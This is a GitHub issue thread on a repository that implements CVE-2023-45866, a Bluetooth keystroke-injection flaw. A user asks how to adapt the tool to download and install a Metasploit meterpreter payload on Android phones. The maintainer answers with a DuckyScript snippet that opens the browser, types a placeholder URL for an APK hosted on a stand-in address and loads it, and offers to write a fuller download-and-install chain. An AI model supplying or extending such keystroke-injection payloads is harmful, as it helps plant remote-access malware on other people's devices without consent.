search

pentestfunctions / BlueDucky

🚨 CVE-2023-45866 - BlueDucky Implementation (Using DuckyScript) 🔓 Unauthenticated Peering Leading to Code Execution (Using HID Keyboard)
1.11k stars 189 forks source link

Suggestion #1

Closed hxrofo closed 7 months ago

hxrofo commented 7 months ago

Hi It's not an issue, but rather a suggestion. Can you modify this OMG ducky script to download a metasploit payload on an android device and install it, just like this video https://twitter.com/i/status/1749726846684455145

ducky script: https://github.com/hak5/omg-payloads/tree/master/payloads/library/mobile/android/meterpreter

Thanks

pentestfunctions commented 7 months ago

I don't have a phone for testing on the daily and it always depends on the specific model etc but I don't see anything directly wrong with it. Try segment it such as 

GUI b
DELAY 1000
CTRL l
DELAY 50
STRING https://x.x.x.x/your-app.apk
DELAY 50
ENTER
DELAY 2000

Then the next part etc, add in the required keys. I can try make one that focuses more on private browser + download into install but will need to borrow a phone from someone.